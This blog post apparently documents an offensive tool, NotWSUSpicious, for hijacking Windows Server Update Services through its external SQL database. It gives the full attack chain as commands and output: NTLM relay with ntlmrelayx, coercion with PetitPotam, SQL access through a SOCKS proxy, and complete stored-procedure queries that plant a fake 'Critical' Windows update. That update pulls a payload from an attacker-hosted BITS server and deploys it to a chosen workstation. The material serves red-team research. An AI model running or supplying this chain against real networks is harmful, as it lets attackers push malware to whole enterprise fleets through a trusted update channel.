Weaponizing Windows Updates with NotWSUSpicious
TL;DR: NotWSUSpicious is a tool repo to aid in creating custom updates after gaining access to a WSUS database server. The Turning Enterprise Update Servers Into Backdoor Factories (0_o) series covers how the database takeover works. This blog strictly covers how to use the tooling.
The series can be found here:
Turning Enterprise Update Servers Into Backdoor Factories (0_o) – Part 1
Turning Enterprise Update Servers Into Backdoor Factories (0_o) – Part 2
Of Course We Built a WSUS Ludus Lab
Introduction
This blog walks through step by step how to perform the WSUS takeover that I discovered in my WSUS research. I wrote this tool because manually creating the SQL queries was a massive headache and led to errors in my testing.
Requirements
- Python3 3.11
- The WSUS server must be configured to use an external MSSQL server
- Extended Protection for authentication (EPA) must not be required on the MSSQL server
Establishing the SQL Session
In part 1 of the series, I covered how if a WSUS server is configured to use an external MSSQL database server, we could coerce authentication from the WSUS server to our attack machine and relay the NTLM authentication to the the database server and establish a SQL session as the WSUS computer account.
The first step is to setup Ntlmrelayx to relay authentication to the target database server. Make sure to change the IP address of the target to the IP address of the external SQL server.
(env) root@host:~# ntlmrelayx.py -t mssql://10.2.10.2 -socks -smb2support
Impacket v0.13.0 - Copyright Fortra, LLC and its affiliated companies
[*] Protocol Client HTTPS loaded..
[*] Protocol Client HTTP loaded..
[*] Protocol Client LDAPS loaded..
[*] Protocol Client LDAP loaded..
[*] Protocol Client WINRMS loaded..
[*] Protocol Client SMTP loaded..
[*] Protocol Client SMB loaded..
[*] Protocol Client IMAPS loaded..
[*] Protocol Client IMAP loaded..
[*] Protocol Client MSSQL loaded..
[*] Protocol Client RPC loaded..
[*] Protocol Client DCSYNC loaded..
The next step is to coerce authentication from the WSUS computer account to our attacker machine which is listening with Ntlmrelayx . In this case, I will use the trusty PetitPotam tool.
(env) root@host:/opt/PetitPotam# python3 PetitPotam.py -u domainuser -p password -d ludus.nuketown <Attacker IP> <WSUS Server IP>
___ _ _ _ ___ _
| _ \ ___ | |_ (_) | |_ | _ \ ___ | |_ __ _ _ __
| _/ / -_) | _| | | | _| | _/ / _ \ | _| / _` | | ' \
_|_|_ \___| _\__| _|_|_ _\__| _|_|_ \___/ _\__| \__,_| |_|_|_|
_| """ |_|"""""|_|"""""|_|"""""|_|"""""|_| """ |_|"""""|_|"""""|_|"""""|_|"""""|
"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'
PoC to elicit machine account authentication via some MS-EFSRPC functions
by topotam (@topotam77)
Inspired by @tifkin_ & @elad_shamir previous work on MS-RPRN
Trying pipe lsarpc
[-] Connecting to ncacn_np:10.2.10.3[\PIPE\lsarpc]
[+] Connected!
[+] Binding to c681d488-d850-11d0-8c52-00c04fd90f7e
[+] Successfully bound!
[-] Sending EfsRpcOpenFileRaw!
[-] Got RPC_ACCESS_DENIED!! EfsRpcOpenFileRaw is probably PATCHED!
[+] OK! Using unpatched function!
[-] Sending EfsRpcEncryptFileSrv!
[+] Got expected ERROR_BAD_NETPATH exception!!
[+] Attack worked!
After coercing authentication to our attack machine, Ntlmrelayx should establish a session on the SQL database as the WSUS computer account.
(env) root@host:~# ntlmrelayx.py -t mssql://10.2.10.2 -socks -smb2support
Impacket v0.13.0 - Copyright Fortra, LLC and its affiliated companies
[*] Protocol Client HTTPS loaded..
[*] Protocol Client HTTP loaded..
[*] Protocol Client LDAPS loaded..
[*] Protocol Client LDAP loaded..
[*] Protocol Client WINRMS loaded..
[*] Protocol Client SMTP loaded..
[*] Protocol Client SMB loaded..
[*] Protocol Client IMAPS loaded..
[*] Protocol Client IMAP loaded..
[*] Protocol Client MSSQL loaded..
[*] Protocol Client RPC loaded..
[*] Protocol Client DCSYNC loaded..
[*] Running in relay mode to single host
[*] SOCKS proxy started. Listening on 127.0.0.1:1080
[*] LDAPS Socks Plugin loaded..
[*] SMB Socks Plugin loaded..
[*] MSSQL Socks Plugin loaded..
[*] IMAPS Socks Plugin loaded..
[*] SMTP Socks Plugin loaded..
[*] IMAP Socks Plugin loaded..
[*] HTTPS Socks Plugin loaded..
[*] LDAP Socks Plugin loaded..
[*] HTTP Socks Plugin loaded..
[*] Setting up SMB Server on port 445
[*] Setting up WCF Server on port 9389
[*] Setting up RAW Server on port 6666
[*] Setting up WinRM (HTTP) Server on port 5985
[*] Setting up WinRMS (HTTPS) Server on port 5986
[*] Setting up RPC Server on port 135
[*] Multirelay disabled
[*] Servers started, waiting for connections
Type help for list of commands
ntlmrelayx> [*] (SMB): Received connection from 10.2.10.3, attacking target mssql://10.2.10.2
[*] Encryption required, switching to TLS
[*] (SMB): Authenticating connection from LUDUS/WSUS1$@10.2.10.3 against mssql://10.2.10.2 SUCCEED [1]
[*] SOCKS: Adding MSSQL://LUDUS/WSUS1$@10.2.10.2(1433) [1] to active SOCKS connection. Enjoy
[*] All targets processed!
[*] (SMB): Connection from 10.2.10.3 controlled, but there are no more targets left!
socks
Protocol Target Username AdminStatus Port ID
-------- --------- ------------ ----------- ---- ---
MSSQL 10.2.10.2 LUDUS/WSUS1$ N/A 1433 1
Since we used the -socks argument, this creates a socks proxy that we can proxy our tooling with to leverage the SQL session.
Custom MSSQLClient.py
While I was testing, I discovered that the default mssqlclient.py tool in the Impacket repository does not work with some of the the WSUS SQL stored procedures. This is because some of the stored procedures are returning the result of multiple SQL queries which the default mssqlclient.py is not designed for.
I created a modified version of mssqlclient that works with the WSUS stored procedures that we need for the takeover.
First, we must clone the repo.
root@host:# git clone <https://github.com/bagelByt3s/NotWSUSpicious>
Cloning into 'NotWSUSpicious'...
remote: Enumerating objects: 41, done.
remote: Counting objects: 100% (41/41), done.
remote: Compressing objects: 100% (31/31), done.
remote: Total 41 (delta 14), reused 35 (delta 8), pack-reused 0 (from 0)
Receiving objects: 100% (41/41), 12.10 KiB | 12.10 MiB/s, done.
Resolving deltas: 100% (14/14), done.
Next, create a python environment and install the custom mssqlclient
root@host:# cd NotWSUSpicious/
root@host:/NotWSUSpicious# python3 -m venv env
root@host:/NotWSUSpicious# . ./env/bin/activate
(env) root@host:/NotWSUSpicious# cd custom-mssqlclient/
(env) root@host:/NotWSUSpicious/custom-mssqlclient# pip install .
Processing /NotWSUSpicious/custom-mssqlclient
Preparing metadata (setup.py) ... done
Collecting charset_normalizer
Using cached charset_normalizer-3.4.4-cp311-cp311-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl (151 kB)
Collecting flask>=1.0
Using cached flask-3.1.2-py3-none-any.whl (103 kB)
Collecting ldap3!=2.5.0,!=2.5.2,!=2.6,>=2.5
<Snipped for Brevity>
After this, we need to setup proxychains. Install proxychains and modify your /etc/proxychains4.conf file to use port 1080. This is the port that Ntlmrelayx uses by default for it’s socks proxy.
This is an example of what the end of my proxychains4.conf file looks like.
(env) root@host:/NotWSUSpicious/custom-mssqlclient# tail /etc/proxychains4.conf
#
# proxy types: http, socks4, socks5, raw
# * raw: The traffic is simply forwarded to the proxy without modification.
# ( auth types supported: "basic"-http "user/pass"-socks )
#
[ProxyList]
# add proxy here ...
# meanwile
# defaults set to "tor"
socks5 127.0.0.1 1080
Now that proxychains is setup, run the the custom mssqlclient.py to establish a SQL session on the WSUS database server through the Ntlmrelayx socks proxy.
(env) root@host:/NotWSUSpicious/custom-mssqlclient/examples# proxychains4 ./mssqlclient.py LUDUS/'WSUS1$'@10.2.10.2 -no-pass -windows-auth
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.16
[proxychains] DLL init: proxychains-ng 4.16
Impacket v0.13.0.dev0+20250814.3907.9282c9bb - Copyright Fortra, LLC and its affiliated companies
[proxychains] Strict chain ... 127.0.0.1:1080 ... 10.2.10.2:1433 ... OK
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(SQL1-WSUS): Line 1: Changed database context to 'master'.
[*] INFO(SQL1-WSUS): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server 2000 (8.0.341)
[!] Press help for extra shell commands
Inside of the mssqlclient shell, switch to the susdb database.
SQL (LUDUS\WSUS1$ guest@master)> use susdb
ENVCHANGE(DATABASE): Old Value: master, New Value: SUSDB
INFO(SQL1-WSUS): Line 1: Changed database context to 'SUSDB'.
NotWSUSpicious.py Usage
Now that we have our SQL session, lets use the NotWSUSpicious.py python tool to generate the SQL queries necessary to create an update for payload delivery or lateral movement.
This table shows the required arguments.
NotWSUSpicious.py Parameters
| Parameter | Description |
|---|---|
--wsusHostname | WSUS server hostname |
--updateFileURL | URL where the malicious update file is hosted |
--updateName | Display name for the update |
--updateFilePath | Local file path for the update payload |
--updateArguments | Command-line arguments for the update (optional) |
--computerGroup | Target computer group in WSUS |
--targetComputer | Specific target computer hostname |
How It Works
Since we are creating a bundled update, this involves creating a parent and child update. Each of these updates required a GUID. NotWSUSpicious.py automatically generated two GUIDs and injects values into the right parameters inside of the printed SQL queries.
Next, NotWSUSpicious.py reviews the payload that will be installed as part of the update. It calculates the file size, SHA1 hash, and SHA256 hash. The reason why we collect this information is because some of the WSUS stored procedures requires this information as part of the update metadata.
Finally, the tool takes all of the parameters (like updateName, targetComputer, etc.) and prints out the SQL queries with the arguments in the right place.
This is an example of running NotWSUSpicious.py:
root@host:/NotWSUSpicious# python3 NotWSUSpicious.py --wsusHostname wsus1.ludus.nuketown --updateFileURL "<http://198.51.100.1:8000/Specter.exe.txt>" --updateName Specter --updateFilePath Specter.exe.txt --updateArguments "" --computerGroup Specter-Group --targetComputer workstation1.ludus.nuketown
Calculating file hashes and size for: Specter.exe.txt
Generated Values:
----------------------------------------
Update Name: Specter
Update Arguments:
Update File URL: <http://198.51.100.1:8000/Specter.exe.txt>
Update File Path: Specter.exe.txt
File Name: Specter.exe.txt
File Size: 2092032 bytes
SHA1 Digest: 13bLmBBz5QpPFenishTr4JSRk9Y=
SHA1 Hex: D776CB981073E50A4F15E9E2B214EBE0949193D6
SHA256 Digest: cW5gYTNWSjtVrTgPcSsh0yZksYY2riynbGdAQhl5pHs=
initialUpdateID: ec2dcfcf-f6e1-4ae7-b3be-12025248a041
initialRevisionNumber: 1
initialRevisionID: 80dc1443-e562-4181-ba49-92f5298493f1
secondUpdateID: ea03b7ab-a979-498d-86a1-e44ca26a833f
secondRevisionNumber: 1
ComputerGroupGUID: 57541e5f-ac95-4e5d-9d03-c5b64efb31f1
Computer Group: Specter-Group
Target Computer: workstation1.ludus.nuketown
============================================================
Initial spImportUpdate SQL Query:
============================================================
declare @iImported int declare @iLocalRevisionID int exec spImportUpdate @UpdateXml=N'<upd:Update xmlns:b="<http://schemas.microsoft.com/msus/2002/12/LogicalApplicabilityRules>" xmlns:pub="<http://schemas.microsoft.com/msus/2002/12/Publishing>" xmlns:cbs="<http://schemas.microsoft.com/msus/2002/12/UpdateHandlers/Cbs>" xmlns:cbsar="<http://schemas.microsoft.com/msus/2002/12/CbsApplicabilityRules>" xmlns:upd="<http://schemas.microsoft.com/msus/2002/12/Update>"><upd:UpdateIdentity UpdateID="ec2dcfcf-f6e1-4ae7-b3be-12025248a041" RevisionNumber="1" /><upd:Properties DefaultPropertiesLanguage="en" UpdateType="Software" ExplicitlyDeployable="true" Handler="<http://schemas.microsoft.com/msus/2002/12/UpdateHandlers/Cbs>" MaxDownloadSize="2092032" MinDownloadSize="2092032" PublicationState="Published" CreationDate="2025-08-31T00:03:55.912Z" PublisherID="395392a0-19c0-48b7-a927-f7c15066d905"><upd:InstallationBehavior RebootBehavior="CanRequestReboot" /><upd:UninstallationBehavior RebootBehavior="CanRequestReboot" /></upd:Properties><upd:LocalizedPropertiesCollection><upd:LocalizedProperties><upd:Language>en</upd:Language><upd:Title>Specter</upd:Title></upd:LocalizedProperties></upd:LocalizedPropertiesCollection><upd:ApplicabilityRules><upd:IsInstalled><b:False /></upd:IsInstalled><upd:IsInstallable><b:True /></upd:IsInstallable></upd:ApplicabilityRules><upd:Files><upd:File Digest="13bLmBBz5QpPFenishTr4JSRk9Y=" DigestAlgorithm="SHA1" FileName="Specter.exe.txt" Size="2092032" Modified="2025-08-31T15:26:20.723"><upd:AdditionalDigest Algorithm="SHA256">cW5gYTNWSjtVrTgPcSsh0yZksYY2riynbGdAQhl5pHs=</upd:AdditionalDigest></upd:File></upd:Files><upd:HandlerSpecificData xsi:type="cmd: CommandLineInstallation" xmlns:xsi="<http://www.w3.org/2001/XMLSchema-instance>" xmlns:pub="<http://schemas.microsoft.com/msus/2002/12/Publishing>"><cmd:InstallCommand Arguments="" Program="Specter.exe.txt" RebootByDefault="false" DefaultResult="Succeeded" xmlns:cmd="<http://schemas.microsoft.com/msus/2002/12/UpdateHandlers/CommandLineInstallation>"><cmd:ReturnCode Reboot="false" Result="Succeeded" Code="0" /></cmd:InstallCommand></upd:HandlerSpecificData></upd:Update>',@UpstreamServerLocalID=1,@Imported=@iImported output,@localRevisionID=@iLocalRevisionID output,@UpdateXmlCompressed=NULL; select @iImported,@iLocalRevisionID
Hit Enter for the next query
============================================================
spSaveXmlFragment SQL Statements:
============================================================
exec spSaveXmlFragment 'ec2dcfcf-f6e1-4ae7-b3be-12025248a041',1,1,N'<UpdateIdentity UpdateID="ec2dcfcf-f6e1-4ae7-b3be-12025248a041" RevisionNumber="1" /><Properties UpdateType="Software" ExplicitlyDeployable="true" /><Relationships></Relationships><ApplicabilityRules><IsInstalled><False /></IsInstalled><IsInstallable><True /></IsInstallable></ApplicabilityRules>',NULL
exec spSaveXmlFragment 'ec2dcfcf-f6e1-4ae7-b3be-12025248a041',1,4,N'<LocalizedProperties><Language>en</Language><Title>Specter</Title></LocalizedProperties>',NULL,'en'
exec spSaveXmlFragment 'ec2dcfcf-f6e1-4ae7-b3be-12025248a041',1,2,N'<ExtendedProperties DefaultPropertiesLanguage="en" Handler="<http://schemas.microsoft.com/msus/2002/12/UpdateHandlers/CommandLineInstallation>" MaxDownloadSize="2092032" MinDownloadSize="2092032"><InstallationBehavior RebootBehavior="NeverReboots" /></ExtendedProperties><Files><File Digest="13bLmBBz5QpPFenishTr4JSRk9Y=" DigestAlgorithm="SHA1" FileName="Specter.exe.txt" Size="2092032" Modified="2025-08-31T15:26:20.723"><AdditionalDigest Algorithm="SHA256">cW5gYTNWSjtVrTgPcSsh0yZksYY2riynbGdAQhl5pHs=</AdditionalDigest></File></Files><HandlerSpecificData type="cmd:CommandLineInstallation"><InstallCommand Arguments="" Program="Specter.exe.txt" RebootByDefault="false" DefaultResult="Succeeded"><ReturnCode Reboot="false" Result="Succeeded" Code="-1" /></InstallCommand></HandlerSpecificData>',NULL
Hit Enter for the next query
============================================================
spSetBatchURL SQL Statement:
============================================================
exec spSetBatchURL @urlBatch =N'<ROOT><item FileDigest="13bLmBBz5QpPFenishTr4JSRk9Y=" MUURL="<http://198.51.100.1:8000/Specter.exe.txt>" USSURL="" /></ROOT>'
Hit Enter for the next query
============================================================
spGetFileLocations SQL Statement:
============================================================
EXEC spGetFileLocations @fileDigests = 0xD776CB981073E50A4F15E9E2B214EBE0949193D6;
Hit Enter for the next query
============================================================
Second spImportUpdate SQL Query:
============================================================
declare @iImported int declare @iLocalRevisionID int exec spImportUpdate @UpdateXml=N'<upd:Update xmlns:pub="<http://schemas.microsoft.com/msus/2002/12/Publishing>" xmlns:upd="<http://schemas.microsoft.com/msus/2002/12/Update>"><upd:UpdateIdentity UpdateID="ea03b7ab-a979-498d-86a1-e44ca26a833f" RevisionNumber="1" /><upd:Properties DefaultPropertiesLanguage="en" UpdateType="Software" ExplicitlyDeployable="true" AutoSelectOnWebSites="true" MsrcSeverity="Critical" IsPublic="false" IsBeta="false" PublicationState="Published" CreationDate="2025-08-31" PublisherID="395392a0-19c0-48b7-a927-f7c15066d905" LegacyName="Specter"><upd:SupportUrl><https://specter.local></upd:SupportUrl><upd:SecurityBulletinID></upd:SecurityBulletinID><upd:KBArticleID>5006103</upd:KBArticleID></upd:Properties><upd:LocalizedPropertiesCollection><upd:LocalizedProperties><upd:Language>en</upd:Language><upd:Title>Specter</upd:Title><upd:Description>Install this update to resolve issues in Windows.</upd:Description><upd:UninstallNotes>This software update can be removed by selecting View installed updates in the Programs and Features Control Panel.</upd:UninstallNotes><upd:MoreInfoUrl><https://specter.local></upd:MoreInfoUrl><upd:SupportUrl><https://specter.local></upd:SupportUrl></upd:LocalizedProperties></upd:LocalizedPropertiesCollection><upd:Relationships><upd:Prerequisites><upd:AtLeastOne IsCategory="true"><upd:UpdateIdentity UpdateID="E6CF1350-C01B-414D-A61F-263D14D133B4" /></upd:AtLeastOne></upd:Prerequisites><upd:BundledUpdates><upd:UpdateIdentity UpdateID="ec2dcfcf-f6e1-4ae7-b3be-12025248a041" RevisionNumber="1" /></upd:BundledUpdates></upd:Relationships></upd:Update>',@UpstreamServerLocalID=1,@Imported=@iImported output,@localRevisionID=@iLocalRevisionID output,@UpdateXmlCompressed=NULL select @iImported, @iLocalRevisionID
Hit Enter for the next query
============================================================
Second spSaveXmlFragment SQL Statement:
============================================================
exec spSaveXmlFragment 'ea03b7ab-a979-498d-86a1-e44ca26a833f',1,1,N'<UpdateIdentity UpdateID="ea03b7ab-a979-498d-86a1-e44ca26a833f" RevisionNumber="1" /><Properties UpdateType="Software" ExplicitlyDeployable="true" AutoSelectOnWebSites="true" /><Relationships><Prerequisites><AtLeastOne IsCategory="true"><UpdateIdentity UpdateID="E6CF1350-C01B-414D-A61F-263D14D133B4" /></AtLeastOne></Prerequisites><BundledUpdates><UpdateIdentity UpdateID="ec2dcfcf-f6e1-4ae7-b3be-12025248a041" RevisionNumber="1" /></BundledUpdates></Relationships>',NULL
exec spSaveXmlFragment 'ea03b7ab-a979-498d-86a1-e44ca26a833f',1,4,N'<LocalizedProperties><Language>en</Language><Title>Specter</Title><Description>Install this update to resolve issues in Windows.</Description><UninstallNotes>This software update can be removed by selecting View installed updates in the Programs and Features Control Panel.</UninstallNotes><MoreInfoUrl><https://specter.local></MoreInfoUrl><SupportUrl><https://specter.local></SupportUrl></LocalizedProperties>', NULL, 'en'
exec spSaveXmlFragment 'ea03b7ab-a979-498d-86a1-e44ca26a833f',1,2,N'<ExtendedProperties DefaultPropertiesLanguage="en" MsrcSeverity="Critical" IsBeta="false"><SupportUrl><https://specter.local></SupportUrl><SecurityBulletinID></SecurityBulletinID><KBArticleID>5006103</KBArticleID></ExtendedProperties>',NULL
Hit Enter for the next query
============================================================
spGetAllTargetGroups SQL Statement:
============================================================
EXEC spGetAllTargetGroups
============================================================
Please run the above spGetAllTargetGroups query and enter the TargetGroupID of the All Computers group:
Enter the TargetGroupID (Example: A0A08746-4DBE-4A37-9ADF-9E7652C0B421): A0A08746-4DBE-4A37-9ADF-9E7652C0B421
============================================================
spCreateTargetGroup SQL Statement:
============================================================
EXEC spCreateTargetGroup @name = N'Specter-Group', @id = '57541e5f-ac95-4e5d-9d03-c5b64efb31f1', @targetGroupTypeName = N'Computers', @parentGroupID = 'A0A08746-4DBE-4A37-9ADF-9E7652C0B421';
Hit Enter for the next query
============================================================
spGetComputerTargetByName SQL Statement:
============================================================
EXEC spGetComputerTargetByName @fullDomainName = N'workstation1.ludus.nuketown'
============================================================
Please run the above spGetComputerTargetByName query and enter the returned computerID:
Enter the computerID (Example: 6e66bdc3-4e51-4201-a086-0ba8af976f0f): c0e4c038-b69a-4783-81f2-f1c617f106ba
============================================================
spAddComputerToTargetGroup SQL Statement:
============================================================
EXEC spAddComputerToTargetGroup @targetGroupID = '57541e5f-ac95-4e5d-9d03-c5b64efb31f1', @computerID = 'c0e4c038-b69a-4783-81f2-f1c617f106ba';
Hit Enter for the next query
============================================================
spDeployUpdate SQL Statement:
============================================================
EXEC spDeployUpdate @updateID = 'ea03b7ab-a979-498d-86a1-e44ca26a833f', @revisionNumber = 1, @actionID = 0, @targetGroupID = '57541e5f-ac95-4e5d-9d03-c5b64efb31f1', @isAssigned = 1, @deadline = '2025-10-06 23:59:59', @adminName = 'Administrator';
If you want to know more about how each of these stored procedures work, Part 1 of the blog series covers this,
Turning Enterprise Update Servers Into Backdoor Factories (0_o) – Part 1
From here, operators could simply copy the SQL queries into the custom mssqlclient.py session to create the update.
BitsWebServer.py
When WSUS downloads files required for an update, it requires the web server hosting the file to support the BITS protocol. This is a simple python server that supports that protocol. It listens to port 8000 by default and hosts the files in the same directory.
root@host:#python3 BitsWebServer.py
Starting HTTP Range Server on port 8000
Serving files from: /WSUSpicious
Server URL: <http://localhost:8000/>
Press Ctrl+C to stop the server
--------------------------------------------------
[10.2.10.3] "HEAD /Specter.exe.txt HTTP/1.1" 200 -
[10.2.10.3] "GET /Specter.exe.txt HTTP/1.1" 206 -
[10.2.10.3] "GET /Specter.exe.txt HTTP/1.1" 206 -
[10.2.10.3] "GET /Specter.exe.txt HTTP/1.1" 206 -
[10.2.10.3] "GET /Specter.exe.txt HTTP/1.1" 206 -
[10.2.10.3] "GET /Specter.exe.txt HTTP/1.1" 206 -
[10.2.10.3] "GET /Specter.exe.txt HTTP/1.1" 206 -
[10.2.10.3] "GET /Specter.exe.txt HTTP/1.1" 206 -
[10.2.10.3] "GET /Specter.exe.txt HTTP/1.1" 206 -
[10.2.10.3] "GET /Specter.exe.txt HTTP/1.1" 206 -
[10.2.10.3] "GET /Specter.exe.txt HTTP/1.1" 206 -
[10.2.10.3] "GET /Specter.exe.txt HTTP/1.1" 206 -
Closing Thoughts
Thats a wrap, after running that last stored procedure an update should be deployed on the target computer when it checks for updates.
If you have any questions, suggestions or ideas for improvement, please don’t hesitate to reach out!
